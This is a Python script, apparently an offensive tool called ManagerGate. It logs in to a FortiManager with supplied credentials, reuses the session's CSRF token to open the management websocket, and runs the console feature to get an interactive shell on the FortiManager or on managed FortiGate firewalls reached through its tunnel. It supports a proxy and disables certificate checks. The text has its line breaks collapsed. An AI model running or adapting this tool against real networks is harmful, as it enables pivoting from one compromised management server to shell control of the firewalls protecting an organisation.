# !/usr/bin/python3 import argparse import asyncio import cmd import json import os import urllib.parse from concurrent.futures import ThreadPoolExecutor from urllib3.exceptions import InsecureRequestWarning import requests import aiohttp import websocket requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) CONSOLE_ID=-1 MTDID = 0 parser = argparse.ArgumentParser(prog='ManagerGate.py', description='get a shell on fortigate') parser.add_argument('-H', '--host', help='host of the fortimanager', required=True) parser.add_argument('-u', '--user', help='user to connect with to the fortimanager', required=True) parser.add_argument('-p', '--password', help='password to connect to the fortimanager', required=True) parser.add_argument('-d', '--deviceid', help='device oid to get a shell on') parser.add_argument('-i', '--tunnelip', help='tunnel ip of the fortigate') parser.add_argument('-l', '--local', help='local connect to fortimanager', action='store_true') parser.add_argument('-x', '--proxy', help='proxy to reach fortimanger') parser.add_argument('-U', '--gu', help='user to connect with to the fortigate', required=True) parser.add_argument('-v', '--verbose') args = parser.parse_args() loop = asyncio.get_event_loop() proxy = None if args.proxy: proxy = args.proxy async def login(client): login_request = { 'url': '/gui/userauth', 'method': 'login', 'params': { 'username': args.user, 'secretkey': args.password, 'logintype': 0 } } async with client.post(f'https://{args.host}/cgi-bin/module/flatui_auth', json=login_request, proxy=proxy, verify_ssl=False) as resp: print(resp.status) return resp.status == 200 async def keep_alive(ws): await ws.send_str('--heartbeat--') async for msg in ws: if msg.data == '--heartbeat--': await ws.send_str('--heartbeat--') continue elif '"msg": "notify"' in msg.data: js=json.loads(msg.data) print(js['fields']['content'].replace('\\r', '')) else: continue print(msg.data) async def handle_write(ws,CONSOLE_ID): mtd = 1 while True: data = await ainput('>') data += '\r' jsdata = { 'msg': 'method', 'method': 'console', 'params': { 'action': 'xmit', 'consoleId': CONSOLE_ID, 'content': data }, 'id': 'mtd' + str(mtd) } mtd += 1 await ws.send_json(jsdata) async def ainput(prompt: str=''): with ThreadPoolExecutor(1, 'ainput') as executor: return (await asyncio.get_event_loop().run_in_executor(executor, input, prompt)).rstrip() async def main(): jar = aiohttp.CookieJar(unsafe=True) async with aiohttp.ClientSession(cookie_jar=jar) as client: if not await login(client): print('[E] login failure') exit(1) print('Fortimanager login OK') csrf_token = next(x.value for x in client.cookie_jar if x.key == 'HTTP_CSRF_TOKEN') async with client.ws_connect( f'wss://{args.host}/ws3?csrf_token={urllib.parse.quote(csrf_token,safe="")}', proxy=proxy, verify_ssl=False, headers={ 'Sec-WebSocket-Protocol': urllib.parse.quote(csrf_token,safe=''), 'Connection': 'keep-alive, Upgrade'} ) as ws: if args.local: await ws.send_str( f'{{"msg": "method", "method": "console", "params": {{"action": "connect", "consoleId": -1, "user":"admin", "type": "local","cols": 137, "rows": 40}}, "id": "mtd-1"}}') else: await ws.send_str( f'{{"msg": "method", "method": "console", "params": {{"action": "connect", "consoleId": -1, "type": "remote", "ipaddr": "{args.tunnelip}", "port": 22,"user": "{args.gu}", "oid": "{args.deviceid}", "cols": 137, "rows": 40}}, "id": "mtd-1"}}') connection = await ws.receive_json() CONSOLE_ID = connection['result']['consoleId'] keepalive = asyncio.create_task(keep_alive(ws)) promt_task = asyncio.create_task(handle_write(ws,CONSOLE_ID)) await asyncio.gather(promt_task, keepalive) loop.run_until_complete(main())